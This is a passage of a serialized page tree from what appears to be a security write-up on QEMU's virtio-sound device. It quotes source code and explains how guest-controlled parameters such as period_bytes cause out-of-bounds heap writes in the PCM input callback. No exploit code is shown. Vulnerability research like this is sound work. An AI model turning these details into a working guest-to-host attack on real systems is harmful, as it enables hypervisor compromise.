data;\n",{"type":24,"tag":90,"props":126686,"children":126687},{"class":92,"line":428},[126688,126693,126697],{"type":24,"tag":90,"props":126689,"children":126690},{"style":114},[126691],{"type":29,"value":126692}," VirtIOSoundPCMBuffer ",{"type":24,"tag":90,"props":126694,"children":126695},{"style":120},[126696],{"type":29,"value":983},{"type":24,"tag":90,"props":126698,"children":126699},{"style":114},[126700],{"type":29,"value":126701},"buffer;\n",{"type":24,"tag":90,"props":126703,"children":126704},{"class":92,"line":437},[126705,126709],{"type":24,"tag":90,"props":126706,"children":126707},{"style":97},[126708],{"type":29,"value":3080},{"type":24,"tag":90,"props":126710,"children":126711},{"style":114},[126712],{"type":29,"value":126713}," size, max_size;\n",{"type":24,"tag":90,"props":126715,"children":126716},{"class":92,"line":574},[126717],{"type":24,"tag":90,"props":126718,"children":126719},{"emptyLinePlaceholder":16},[126720],{"type":29,"value":245},{"type":24,"tag":90,"props":126722,"children":126723},{"class":92,"line":606},[126724,126729,126733,126737,126741,126745,126749],{"type":24,"tag":90,"props":126725,"children":126726},{"style":108},[126727],{"type":29,"value":126728}," WITH_QEMU_LOCK_GUARD",{"type":24,"tag":90,"props":126730,"children":126731},{"style":114},[126732],{"type":29,"value":117},{"type":24,"tag":90,"props":126734,"children":126735},{"style":120},[126736],{"type":29,"value":123},{"type":24,"tag":90,"props":126738,"children":126739},{"style":136},[126740],{"type":29,"value":38077},{"type":24,"tag":90,"props":126742,"children":126743},{"style":114},[126744],{"type":29,"value":177},{"type":24,"tag":90,"props":126746,"children":126747},{"style":136},[126748],{"type":29,"value":125905},{"type":24,"tag":90,"props":126750,"children":126751},{"style":114},[126752],{"type":29,"value":1297},{"type":24,"tag":90,"props":126754,"children":126755},{"class":92,"line":615},[126756,126761,126765,126769,126774,126778,126782,126786,126790,126794],{"type":24,"tag":90,"props":126757,"children":126758},{"style":636},[126759],{"type":29,"value":126760}," while",{"type":24,"tag":90,"props":126762,"children":126763},{"style":114},[126764],{"type":29,"value":1151},{"type":24,"tag":90,"props":126766,"children":126767},{"style":120},[126768],{"type":29,"value":22417},{"type":24,"tag":90,"props":126770,"children":126771},{"style":108},[126772],{"type":29,"value":126773},"QSIMPLEQ_EMPTY",{"type":24,"tag":90,"props":126775,"children":126776},{"style":114},[126777],{"type":29,"value":117},{"type":24,"tag":90,"props":126779,"children":126780},{"style":120},[126781],{"type":29,"value":123},{"type":24,"tag":90,"props":126783,"children":126784},{"style":136},[126785],{"type":29,"value":38077},{"type":24,"tag":90,"props":126787,"children":126788},{"style":114},[126789],{"type":29,"value":177},{"type":24,"tag":90,"props":126791,"children":126792},{"style":136},[126793],{"type":29,"value":126158},{"type":24,"tag":90,"props":126795,"children":126796},{"style":114},[126797],{"type":29,"value":37009},{"type":24,"tag":90,"props":126799,"children":126800},{"class":92,"line":623},[126801,126805,126809,126814,126818,126822,126826,126830,126834],{"type":24,"tag":90,"props":126802,"children":126803},{"style":114},[126804],{"type":29,"value":125994},{"type":24,"tag":90,"props":126806,"children":126807},{"style":120},[126808],{"type":29,"value":5491},{"type":24,"tag":90,"props":126810,"children":126811},{"style":108},[126812],{"type":29,"value":126813}," QSIMPLEQ_FIRST",{"type":24,"tag":90,"props":126815,"children":126816},{"style":114},[126817],{"type":29,"value":117},{"type":24,"tag":90,"props":126819,"children":126820},{"style":120},[126821],{"type":29,"value":123},{"type":24,"tag":90,"props":126823,"children":126824},{"style":136},[126825],{"type":29,"value":38077},{"type":24,"tag":90,"props":126827,"children":126828},{"style":114},[126829],{"type":29,"value":177},{"type":24,"tag":90,"props":126831,"children":126832},{"style":136},[126833],{"type":29,"value":126158},{"type":24,"tag":90,"props":126835,"children":126836},{"style":114},[126837],{"type":29,"value":571},{"type":24,"tag":90,"props":126839,"children":126840},{"class":92,"line":632},[126841],{"type":24,"tag":90,"props":126842,"children":126843},{"emptyLinePlaceholder":16},[126844],{"type":29,"value":245},{"type":24,"tag":90,"props":126846,"children":126847},{"class":92,"line":669},[126848],{"type":24,"tag":90,"props":126849,"children":126850},{"style":114},[126851],{"type":29,"value":126852}," [...]\n",{"type":24,"tag":90,"props":126854,"children":126855},{"class":92,"line":683},[126856],{"type":24,"tag":90,"props":126857,"children":126858},{"emptyLinePlaceholder":16},[126859],{"type":29,"value":245},{"type":24,"tag":90,"props":126861,"children":126862},{"class":92,"line":737},[126863,126868,126872,126876,126880],{"type":24,"tag":90,"props":126864,"children":126865},{"style":114},[126866],{"type":29,"value":126867}," max_size ",{"type":24,"tag":90,"props":126869,"children":126870},{"style":120},[126871],{"type":29,"value":5491},{"type":24,"tag":90,"props":126873,"children":126874},{"style":108},[126875],{"type":29,"value":125926},{"type":24,"tag":90,"props":126877,"children":126878},{"style":114},[126879],{"type":29,"value":117},{"type":24,"tag":90,"props":126881,"children":126882},{"style":252},[126883],{"type":29,"value":126884}," // [1]\n",{"type":24,"tag":90,"props":126886,"children":126887},{"class":92,"line":751},[126888,126893,126897,126901,126905,126909],{"type":24,"tag":90,"props":126889,"children":126890},{"style":136},[126891],{"type":29,"value":126892}," buffer",{"type":24,"tag":90,"props":126894,"children":126895},{"style":114},[126896],{"type":29,"value":177},{"type":24,"tag":90,"props":126898,"children":126899},{"style":136},[126900],{"type":29,"value":53888},{"type":24,"tag":90,"props":126902,"children":126903},{"style":114},[126904],{"type":29,"value":177},{"type":24,"tag":90,"props":126906,"children":126907},{"style":136},[126908],{"type":29,"value":125943},{"type":24,"tag":90,"props":126910,"children":126911},{"style":114},[126912],{"type":29,"value":748},{"type":24,"tag":90,"props":126914,"children":126915},{"class":92,"line":782},[126916,126920,126924,126928,126932],{"type":24,"tag":90,"props":126917,"children":126918},{"style":136},[126919],{"type":29,"value":126892},{"type":24,"tag":90,"props":126921,"children":126922},{"style":114},[126923],{"type":29,"value":177},{"type":24,"tag":90,"props":126925,"children":126926},{"style":136},[126927],{"type":29,"value":53888},{"type":24,"tag":90,"props":126929,"children":126930},{"style":114},[126931],{"type":29,"value":177},{"type":24,"tag":90,"props":126933,"children":126934},{"style":136},[126935],{"type":29,"value":126936},"in_num\n",{"type":24,"tag":90,"props":126938,"children":126939},{"class":92,"line":791},[126940],{"type":24,"tag":90,"props":126941,"children":126942},{"style":114},[126943],{"type":29,"value":126944}," );\n",{"type":24,"tag":90,"props":126946,"children":126947},{"class":92,"line":799},[126948,126953],{"type":24,"tag":90,"props":126949,"children":126950},{"style":636},[126951],{"type":29,"value":126952}," for",{"type":24,"tag":90,"props":126954,"children":126955},{"style":114},[126956],{"type":29,"value":125756},{"type":24,"tag":90,"props":126958,"children":126959},{"class":92,"line":807},[126960,126964,126968,126973,126977,126981,126985,126990],{"type":24,"tag":90,"props":126961,"children":126962},{"style":636},[126963],{"type":29,"value":105350},{"type":24,"tag":90,"props":126965,"children":126966},{"style":114},[126967],{"type":29,"value":1151},{"type":24,"tag":90,"props":126969,"children":126970},{"style":136},[126971],{"type":29,"value":126972},"buffer",{"type":24,"tag":90,"props":126974,"children":126975},{"style":114},[126976],{"type":29,"value":177},{"type":24,"tag":90,"props":126978,"children":126979},{"style":136},[126980],{"type":29,"value":126090},{"type":24,"tag":90,"props":126982,"children":126983},{"style":120},[126984],{"type":29,"value":10679},{"type":24,"tag":90,"props":126986,"children":126987},{"style":114},[126988],{"type":29,"value":126989}," max_size) {",{"type":24,"tag":90,"props":126991,"children":126992},{"style":252},[126993],{"type":29,"value":126994}," // [2]\n",{"type":24,"tag":90,"props":126996,"children":126997},{"class":92,"line":821},[126998,127003],{"type":24,"tag":90,"props":126999,"children":127000},{"style":108},[127001],{"type":29,"value":127002}," return_rx_buffer",{"type":24,"tag":90,"props":127004,"children":127005},{"style":114},[127006],{"type":29,"value":127007},"(stream, buffer);\n",{"type":24,"tag":90,"props":127009,"children":127010},{"class":92,"line":6278},[127011,127016],{"type":24,"tag":90,"props":127012,"children":127013},{"style":636},[127014],{"type":29,"value":127015}," break",{"type":24,"tag":90,"props":127017,"children":127018},{"style":114},[127019],{"type":29,"value":381},{"type":24,"tag":90,"props":127021,"children":127022},{"class":92,"line":11420},[127023],{"type":24,"tag":90,"props":127024,"children":127025},{"style":114},[127026],{"type":29,"value":72899},{"type":24,"tag":90,"props":127028,"children":127029},{"class":92,"line":11438},[127030,127035,127039,127044,127048,127052,127056,127061,127065,127069],{"type":24,"tag":90,"props":127031,"children":127032},{"style":114},[127033],{"type":29,"value":127034}," size ",{"type":24,"tag":90,"props":127036,"children":127037},{"style":120},[127038],{"type":29,"value":5491},{"type":24,"tag":90,"props":127040,"children":127041},{"style":108},[127042],{"type":29,"value":127043}," AUD_read",{"type":24,"tag":90,"props":127045,"children":127046},{"style":114},[127047],{"type":29,"value":117},{"type":24,"tag":90,"props":127049,"children":127050},{"style":136},[127051],{"type":29,"value":38077},{"type":24,"tag":90,"props":127053,"children":127054},{"style":114},[127055],{"type":29,"value":177},{"type":24,"tag":90,"props":127057,"children":127058},{"style":136},[127059],{"type":29,"value":127060},"voice",{"type":24,"tag":90,"props":127062,"children":127063},{"style":114},[127064],{"type":29,"value":226},{"type":24,"tag":90,"props":127066,"children":127067},{"style":136},[127068],{"type":29,"value":97328},{"type":24,"tag":90,"props":127070,"children":127071},{"style":114},[127072],{"type":29,"value":748},{"type":24,"tag":90,"props":127074,"children":127075},{"class":92,"line":11483},[127076,127081,127085,127089,127093,127098,127102,127106],{"type":24,"tag":90,"props":127077,"children":127078},{"style":136},[127079],{"type":29,"value":127080}," buffer",{"type":24,"tag":90,"props":127082,"children":127083},{"style":114},[127084],{"type":29,"value":177},{"type":24,"tag":90,"props":127086,"children":127087},{"style":136},[127088],{"type":29,"value":481},{"type":24,"tag":90,"props":127090,"children":127091},{"style":120},[127092],{"type":29,"value":1714},{"type":24,"tag":90,"props":127094,"children":127095},{"style":136},[127096],{"type":29,"value":127097}," buffer",{"type":24,"tag":90,"props":127099,"children":127100},{"style":114},[127101],{"type":29,"value":177},{"type":24,"tag":90,"props":127103,"children":127104},{"style":136},[127105],{"type":29,"value":126090},{"type":24,"tag":90,"props":127107,"children":127108},{"style":114},[127109],{"type":29,"value":748},{"type":24,"tag":90,"props":127111,"children":127112},{"class":92,"line":11589},[127113,127118,127123,127127,127131,127135,127139,127144,127148],{"type":24,"tag":90,"props":127114,"children":127115},{"style":108},[127116],{"type":29,"value":127117}," MIN",{"type":24,"tag":90,"props":127119,"children":127120},{"style":114},[127121],{"type":29,"value":127122},"(available, (",{"type":24,"tag":90,"props":127124,"children":127125},{"style":136},[127126],{"type":29,"value":38077},{"type":24,"tag":90,"props":127128,"children":127129},{"style":114},[127130],{"type":29,"value":177},{"type":24,"tag":90,"props":127132,"children":127133},{"style":136},[127134],{"type":29,"value":100112},{"type":24,"tag":90,"props":127136,"children":127137},{"style":114},[127138],{"type":29,"value":226},{"type":24,"tag":90,"props":127140,"children":127141},{"style":136},[127142],{"type":29,"value":127143},"period_bytes",{"type":24,"tag":90,"props":127145,"children":127146},{"style":120},[127147],{"type":29,"value":53079},{"type":24,"tag":90,"props":127149,"children":127150},{"style":252},[127151],{"type":29,"value":127152}," // [3]\n",{"type":24,"tag":90,"props":127154,"children":127155},{"class":92,"line":25306},[127156,127161,127165,127169],{"type":24,"tag":90,"props":127157,"children":127158},{"style":136},[127159],{"type":29,"value":127160}," buffer",{"type":24,"tag":90,"props":127162,"children":127163},{"style":114},[127164],{"type":29,"value":177},{"type":24,"tag":90,"props":127166,"children":127167},{"style":136},[127168],{"type":29,"value":126090},{"type":24,"tag":90,"props":127170,"children":127171},{"style":114},[127172],{"type":29,"value":127173},")));\n",{"type":24,"tag":90,"props":127175,"children":127176},{"class":92,"line":25341},[127177,127181,127185,127189],{"type":24,"tag":90,"props":127178,"children":127179},{"style":636},[127180],{"type":29,"value":105350},{"type":24,"tag":90,"props":127182,"children":127183},{"style":114},[127184],{"type":29,"value":1151},{"type":24,"tag":90,"props":127186,"children":127187},{"style":120},[127188],{"type":29,"value":22417},{"type":24,"tag":90,"props":127190,"children":127191},{"style":114},[127192],{"type":29,"value":127193},"size) {\n",{"type":24,"tag":90,"props":127195,"children":127196},{"class":92,"line":25349},[127197,127202,127206,127210],{"type":24,"tag":90,"props":127198,"children":127199},{"style":114},[127200],{"type":29,"value":127201}," available ",{"type":24,"tag":90,"props":127203,"children":127204},{"style":120},[127205],{"type":29,"value":5491},{"type":24,"tag":90,"props":127207,"children":127208},{"style":349},[127209],{"type":29,"value":5448},{"type":24,"tag":90,"props":127211,"children":127212},{"style":114},[127213],{"type":29,"value":381},{"type":24,"tag":90,"props":127215,"children":127216},{"class":92,"line":25357},[127217,127221],{"type":24,"tag":90,"props":127218,"children":127219},{"style":636},[127220],{"type":29,"value":127015},{"type":24,"tag":90,"props":127222,"children":127223},{"style":114},[127224],{"type":29,"value":381},{"type":24,"tag":90,"props":127226,"children":127227},{"class":92,"line":25366},[127228],{"type":24,"tag":90,"props":127229,"children":127230},{"style":114},[127231],{"type":29,"value":72899},{"type":24,"tag":90,"props":127233,"children":127234},{"class":92,"line":25408},[127235,127239,127243,127247,127251],{"type":24,"tag":90,"props":127236,"children":127237},{"style":136},[127238],{"type":29,"value":126892},{"type":24,"tag":90,"props":127240,"children":127241},{"style":114},[127242],{"type":29,"value":177},{"type":24,"tag":90,"props":127244,"children":127245},{"style":136},[127246],{"type":29,"value":126090},{"type":24,"tag":90,"props":127248,"children":127249},{"style":120},[127250],{"type":29,"value":1561},{"type":24,"tag":90,"props":127252,"children":127253},{"style":114},[127254],{"type":29,"value":126432},{"type":24,"tag":90,"props":127256,"children":127257},{"class":92,"line":25441},[127258,127263,127267],{"type":24,"tag":90,"props":127259,"children":127260},{"style":114},[127261],{"type":29,"value":127262}," available ",{"type":24,"tag":90,"props":127264,"children":127265},{"style":120},[127266],{"type":29,"value":105815},{"type":24,"tag":90,"props":127268,"children":127269},{"style":114},[127270],{"type":29,"value":126432},{"type":24,"tag":90,"props":127272,"children":127273},{"class":92,"line":25449},[127274],{"type":24,"tag":90,"props":127275,"children":127276},{"style":114},[127277],{"type":29,"value":127278}," [...]\n",{"type":24,"tag":90,"props":127280,"children":127281},{"class":92,"line":25457},[127282],{"type":24,"tag":90,"props":127283,"children":127284},{"style":114},[127285],{"type":29,"value":60710},{"type":24,"tag":90,"props":127287,"children":127288},{"class":92,"line":25466},[127289],{"type":24,"tag":90,"props":127290,"children":127291},{"style":114},[127292],{"type":29,"value":5740},{"type":24,"tag":90,"props":127294,"children":127295},{"class":92,"line":25542},[127296],{"type":24,"tag":90,"props":127297,"children":127298},{"style":114},[127299],{"type":29,"value":612},{"type":24,"tag":90,"props":127301,"children":127302},{"class":92,"line":25575},[127303],{"type":24,"tag":90,"props":127304,"children":127305},{"style":114},[127306],{"type":29,"value":827},{"type":24,"tag":25,"props":127308,"children":127309},{},[127310,127311,127316,127317,127323,127325,127331,127333,127338,127339,127344,127346,127351],{"type":29,"value":126212},{"type":24,"tag":32,"props":127312,"children":127314},{"className":127313},[],[127315],{"type":29,"value":126218},{"type":29,"value":133},{"type":24,"tag":32,"props":127318,"children":127320},{"className":127319},[],[127321],{"type":29,"value":127322},"max_size",{"type":29,"value":127324}," is set to ",{"type":24,"tag":32,"props":127326,"children":127328},{"className":127327},[],[127329],{"type":29,"value":127330},"iov_size(in_sg, in_num)",{"type":29,"value":127332},". Both ",{"type":24,"tag":32,"props":127334,"children":127336},{"className":127335},[],[127337],{"type":29,"value":125943},{"type":29,"value":13360},{"type":24,"tag":32,"props":127340,"children":127342},{"className":127341},[],[127343],{"type":29,"value":125960},{"type":29,"value":127345}," are the same guest-controlled fields from ",{"type":24,"tag":32,"props":127347,"children":127349},{"className":127348},[],[127350],{"type":29,"value":125595},{"type":29,"value":226},{"type":24,"tag":25,"props":127353,"children":127354},{},[127355,127357,127362,127364,127370,127372,127378,127380,127386],{"type":29,"value":127356},"Later, at ",{"type":24,"tag":32,"props":127358,"children":127360},{"className":127359},[],[127361],{"type":29,"value":126253},{"type":29,"value":127363},", the code checks whether ",{"type":24,"tag":32,"props":127365,"children":127367},{"className":127366},[],[127368],{"type":29,"value":127369},"buffer->size >= max_size",{"type":29,"value":127371},". In the RX path, ",{"type":24,"tag":32,"props":127373,"children":127375},{"className":127374},[],[127376],{"type":29,"value":127377},"buffer->size",{"type":29,"value":127379}," tracks how many bytes have been written into ",{"type":24,"tag":32,"props":127381,"children":127383},{"className":127382},[],[127384],{"type":29,"value":127385},"buffer->data",{"type":29,"value":127387},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":24,"tag":25,"props":127389,"children":127390},{},[127391,127393,127398,127400,127406,127408,127413,127415,127421],{"type":29,"value":127392},"However, this does not match the allocation logic in ",{"type":24,"tag":32,"props":127394,"children":127396},{"className":127395},[],[127397],{"type":29,"value":125595},{"type":29,"value":127399},", which used: ",{"type":24,"tag":32,"props":127401,"children":127403},{"className":127402},[],[127404],{"type":29,"value":127405},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":127407},". In other words, the allocation subtracts ",{"type":24,"tag":32,"props":127409,"children":127411},{"className":127410},[],[127412],{"type":29,"value":126319},{"type":29,"value":127414},", but the later bound in ",{"type":24,"tag":32,"props":127416,"children":127418},{"className":127417},[],[127419],{"type":29,"value":127420},"virtio_snd_pcm_in_cb",{"type":29,"value":127422}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":24,"tag":25,"props":127424,"children":127425},{},[127426,127428,127433,127435,127441,127443,127449,127451,127456,127458,127464,127466,127472,127474,127479,127481,127486],{"type":29,"value":127427},"Finally, at ",{"type":24,"tag":32,"props":127429,"children":127431},{"className":127430},[],[127432],{"type":29,"value":126277},{"type":29,"value":127434},", the code calls ",{"type":24,"tag":32,"props":127436,"children":127438},{"className":127437},[],[127439],{"type":29,"value":127440},"AUD_read",{"type":29,"value":127442}," with the following limit:\n",{"type":24,"tag":32,"props":127444,"children":127446},{"className":127445},[],[127447],{"type":29,"value":127448},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":127450},". Notice how this bound does not take ",{"type":24,"tag":32,"props":127452,"children":127454},{"className":127453},[],[127455],{"type":29,"value":127322},{"type":29,"value":127457}," into account at all. That means if ",{"type":24,"tag":32,"props":127459,"children":127461},{"className":127460},[],[127462],{"type":29,"value":127463},"available",{"type":29,"value":127465}," is larger than the allocated buffer, and ",{"type":24,"tag":32,"props":127467,"children":127469},{"className":127468},[],[127470],{"type":29,"value":127471},"stream->params.period_bytes",{"type":29,"value":127473}," is also larger than the allocated buffer, ",{"type":24,"tag":32,"props":127475,"children":127477},{"className":127476},[],[127478],{"type":29,"value":127440},{"type":29,"value":127480}," will write past the end of ",{"type":24,"tag":32,"props":127482,"children":127484},{"className":127483},[],[127485],{"type":29,"value":127385},{"type":29,"value":127487}," - the third, and final, bug we found.",{"type":24,"tag":25,"props":127489,"children":127490},{},[127491,127493,127498,127500,127506],{"type":29,"value":127492},"Looking further at the code, we can see that ",{"type":24,"tag":32,"props":127494,"children":127496},{"className":127495},[],[127497],{"type":29,"value":127471},{"type":29,"value":127499}," is fully guest-controlled by issuing a ",{"type":24,"tag":32,"props":127501,"children":127503},{"className":127502},[],[127504],{"type":29,"value":127505},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":127507}," request:",{"type":24,"tag":80,"props":127509,"children":127511},{"code":127510,"language":3030,"meta":7,"className":3028,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[127512],{"type":24,"tag":32,"props":127513,"children":127514},{"__ignoreMap":7},[127515,127523,127552,127569,127589,127596,127613,127620,127627,127634,127656,127663,127670,127677,127723,127766,127810,127818,127855,127891,127927,127934,127951],{"type":24,"tag":90,"props":127516,"children":127517},{"class":92,"line":93},[127518],{"type":24,"tag":90,"props":127519,"children":127520},{"style":97},[127521],{"type":29,"value":127522},"static\n",{"type":24,"tag":90,"props":127524,"children":127525},{"class":92,"line":200},[127526,127530,127535,127540,127544,127548],{"type":24,"tag":90,"props":127527,"children":127528},{"style":97},[127529],{"type":29,"value":59758},{"type":24,"tag":90,"props":127531,"children":127532},{"style":108},[127533],{"type":29,"value":127534}," virtio_snd_set_pcm_params",{"type":24,"tag":90,"props":127536,"children":127537},{"style":114},[127538],{"type":29,"value":127539},"(VirtIOSound ",{"type":24,"tag":90,"props":127541,"children":127542},{"style":120},[127543],{"type":29,"value":983},{"type":24,"tag":90,"props":127545,"children":127546},{"style":136},[127547],{"type":29,"value":13020},{"type":24,"tag":90,"props":127549,"children":127550},{"style":114},[127551],{"type":29,"value":748},{"type":24,"tag":90,"props":127553,"children":127554},{"class":92,"line":239},[127555,127560,127565],{"type":24,"tag":90,"props":127556,"children":127557},{"style":97},[127558],{"type":29,"value":127559}," uint32_t",{"type":24,"tag":90,"props":127561,"children":127562},{"style":136},[127563],{"type":29,"value":127564}," stream_id",{"type":24,"tag":90,"props":127566,"children":127567},{"style":114},[127568],{"type":29,"value":748},{"type":24,"tag":90,"props":127570,"children":127571},{"class":92,"line":248},[127572,127577,127581,127585],{"type":24,"tag":90,"props":127573,"children":127574},{"style":114},[127575],{"type":29,"value":127576}," virtio_snd_pcm_set_params ",{"type":24,"tag":90,"props":127578,"children":127579},{"style":120},[127580],{"type":29,"value":983},{"type":24,"tag":90,"props":127582,"children":127583},{"style":136},[127584],{"type":29,"value":100112},{"type":24,"tag":90,"props":127586,"children":127587},{"style":114},[127588],{"type":29,"value":1686},{"type":24,"tag":90,"props":127590,"children":127591},{"class":92,"line":258},[127592],{"type":24,"tag":90,"props":127593,"children":127594},{"style":114},[127595],{"type":29,"value":2221},{"type":24,"tag":90,"props":127597,"children":127598},{"class":92,"line":272},[127599,127604,127608],{"type":24,"tag":90,"props":127600,"children":127601},{"style":114},[127602],{"type":29,"value":127603}," virtio_snd_pcm_set_params ",{"type":24,"tag":90,"props":127605,"children":127606},{"style":120},[127607],{"type":29,"value":983},{"type":24,"tag":90,"props":127609,"children":127610},{"style":114},[127611],{"type":29,"value":127612},"st_params;\n",{"type":24,"tag":90,"props":127614,"children":127615},{"class":92,"line":281},[127616],{"type":24,"tag":90,"props":127617,"children":127618},{"emptyLinePlaceholder":16},[127619],{"type":29,"value":245},{"type":24,"tag":90,"props":127621,"children":127622},{"class":92,"line":384},[127623],{"type":24,"tag":90,"props":127624,"children":127625},{"style":114},[127626],{"type":29,"value":106631},{"type":24,"tag":90,"props":127628,"children":127629},{"class":92,"line":420},[127630],{"type":24,"tag":90,"props":127631,"children":127632},{"emptyLinePlaceholder":16},[127633],{"type":29,"value":245},{"type":24,"tag":90,"props":127635,"children":127636},{"class":92,"line":428},[127637,127642,127646,127651],{"type":24,"tag":90,"props":127638,"children":127639},{"style":114},[127640],{"type":29,"value":127641}," st_params ",{"type":24,"tag":90,"props":127643,"children":127644},{"style":120},[127645],{"type":29,"value":5491},{"type":24,"tag":90,"props":127647,"children":127648},{"style":108},[127649],{"type":29,"value":127650}," virtio_snd_pcm_get_params",{"type":24,"tag":90,"props":127652,"children":127653},{"style":114},[127654],{"type":29,"value":127655},"(s, stream_id);\n",{"type":24,"tag":90,"props":127657,"children":127658},{"class":92,"line":437},[127659],{"type":24,"tag":90,"props":127660,"children":127661},{"emptyLinePlaceholder":16},[127662],{"type":29,"value":245},{"type":24,"tag":90,"props":127664,"children":127665},{"class":92,"line":574},[127666],{"type":24,"tag":90,"props":127667,"children":127668},{"style":114},[127669],{"type":29,"value":106631},{"type":24,"tag":90,"props":127671,"children":127672},{"class":92,"line":606},[127673],{"type":24,"tag":90,"props":127674,"children":127675},{"emptyLinePlaceholder":16},[127676],{"type":29,"value":245},{"type":24,"tag":90,"props":127678,"children":127679},{"class":92,"line":615},[127680,127685,127689,127694,127698,127703,127707,127711,127715,127719],{"type":24,"tag":90,"props":127681,"children":127682},{"style":136},[127683],{"type":29,"value":127684}," st_params",{"type":24,"tag":90,"props":127686,"children":127687},{"style":114},[127688],{"type":29,"value":177},{"type":24,"tag":90,"props":127690,"children":127691},{"style":136},[127692],{"type":29,"value":127693},"buffer_bytes",{"type":24,"tag":90,"props":127695,"children":127696},{"style":120},[127697],{"type":29,"value":216},{"type":24,"tag":90,"props":127699,"children":127700},{"style":108},[127701],{"type":29,"value":127702}," le32_to_cpu",{"type":24,"tag":90,"props":127704,"children":127705},{"style":114},[127706],{"type":29,"value":117},{"type":24,"tag":90,"props":127708,"children":127709},{"style":136},[127710],{"type":29,"value":100112},{"type":24,"tag":90,"props":127712,"children":127713},{"style":114},[127714],{"type":29,"value":177},{"type":24,"tag":90,"props":127716,"children":127717},{"style":136},[127718],{"type":29,"value":127693},{"type":24,"tag":90,"props":127720,"children":127721},{"style":114},[127722],{"type":29,"value":571},{"type":24,"tag":90,"props":127724,"children":127725},{"class":92,"line":623},[127726,127730,127734,127738,127742,127746,127750,127754,127758,127762],{"type":24,"tag":90,"props":127727,"children":127728},{"style":136},[127729],{"type":29,"value":127684},{"type":24,"tag":90,"props":127731,"children":127732},{"style":114},[127733],{"type":29,"value":177},{"type":24,"tag":90,"props":127735,"children":127736},{"style":136},[127737],{"type":29,"value":127143},{"type":24,"tag":90,"props":127739,"children":127740},{"style":120},[127741],{"type":29,"value":216},{"type":24,"tag":90,"props":127743,"children":127744},{"style":108},[127745],{"type":29,"value":127702},{"type":24,"tag":90,"props":127747,"children":127748},{"style":114},[127749],{"type":29,"value":117},{"type":24,"tag":90,"props":127751,"children":127752},{"style":136},[127753],{"type":29,"value":100112},{"type":24,"tag":90,"props":127755,"children":127756},{"style":114},[127757],{"type":29,"value":177},{"type":24,"tag":90,"props":127759,"children":127760},{"style":136},[127761],{"type":29,"value":127143},{"type":24,"tag":90,"props":127763,"children":127764},{"style":114},[127765],{"type":29,"value":571},{"type":24,"tag":90,"props":127767,"children":127768},{"class":92,"line":632},[127769,127773,127777,127782,127786,127790,127794,127798,127802,127806],{"type":24,"tag":90,"props":127770,"children":127771},{"style":136},[127772],{"type":29,"value":127684},{"type":24,"tag":90,"props":127774,"children":127775},{"style":114},[127776],{"type":29,"value":177},{"type":24,"tag":90,"props":127778,"children":127779},{"style":136},[127780],{"type":29,"value":127781},"features",{"type":24,"tag":90,"props":127783,"children":127784},{"style":120},[127785],{"type":29,"value":216},{"type":24,"tag":90,"props":127787,"children":127788},{"style":108},[127789],{"type":29,"value":127702},{"type":24,"tag":90,"props":127791,"children":127792},{"style":114},[127793],{"type":29,"value":117},{"type":24,"tag":90,"props":127795,"children":127796},{"style":136},[127797],{"type":29,"value":100112},{"type":24,"tag":90,"props":127799,"children":127800},{"style":114},[127801],{"type":29,"value":177},{"type":24,"tag":90,"props":127803,"children":127804},{"style":136},[127805],{"type":29,"value":127781},{"type":24,"tag":90,"props":127807,"children":127808},{"style":114},[127809],{"type":29,"value":571},{"type":24,"tag":90,"props":127811,"children":127812},{"class":92,"line":669},[127813],{"type":24,"tag":90,"props":127814,"children":127815},{"style":252},[127816],{"type":29,"value":127817}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":24,"tag":90,"props":127819,"children":127820},{"class":92,"line":683},[127821,127825,127829,127834,127838,127843,127847,127851],{"type":24,"tag":90,"props":127822,"children":127823},{"style":136},[127824],{"type":29,"value":127684},{"type":24,"tag":90,"props":127826,"children":127827},{"style":114},[127828],{"type":29,"value":177},{"type":24,"tag":90,"props":127830,"children":127831},{"style":136},[127832],{"type":29,"value":127833},"channels",{"type":24,"tag":90,"props":127835,"children":127836},{"style":120},[127837],{"type":29,"value":216},{"type":24,"tag":90,"props":127839,"children":127840},{"style":136},[127841],{"type":29,"value":127842}," params",{"type":24,"tag":90,"props":127844,"children":127845},{"style":114},[127846],{"type":29,"value":177},{"type":24,"tag":90,"props":127848,"children":127849},{"style":136},[127850],{"type":29,"value":127833},{"type":24,"tag":90,"props":127852,"children":127853},{"style":114},[127854],{"type":29,"value":381},{"type":24,"tag":90,"props":127856,"children":127857},{"class":92,"line":737},[127858,127862,127866,127871,127875,127879,127883,127887],{"type":24,"tag":90,"props":127859,"children":127860},{"style":136},[127861],{"type":29,"value":127684},{"type":24,"tag":90,"props":127863,"children":127864},{"style":114},[127865],{"type":29,"value":177},{"type":24,"tag":90,"props":127867,"children":127868},{"style":136},[127869],{"type":29,"value":127870},"format",{"type":24,"tag":90,"props":127872,"children":127873},{"style":120},[127874],{"type":29,"value":216},{"type":24,"tag":90,"props":127876,"children":127877},{"style":136},[127878],{"type":29,"value":127842},{"type":24,"tag":90,"props":127880,"children":127881},{"style":114},[127882],{"type":29,"value":177},{"type":24,"tag":90,"props":127884,"children":127885},{"style":136},[127886],{"type":29,"value":127870},{"type":24,"tag":90,"props":127888,"children":127889},{"style":114},[127890],{"type":29,"value":381},{"type":24,"tag":90,"props":127892,"children":127893},{"class":92,"line":751},[127894,127898,127902,127907,127911,127915,127919,127923],{"type":24,"tag":90,"props":127895,"children":127896},{"style":136},[127897],{"type":29,"value":127684},{"type":24,"tag":90,"props":127899,"children":127900},{"style":114},[127901],{"type":29,"value":177},{"type":24,"tag":90,"props":127903,"children":127904},{"style":136},[127905],{"type":29,"value":127906},"rate",{"type":24,"tag":90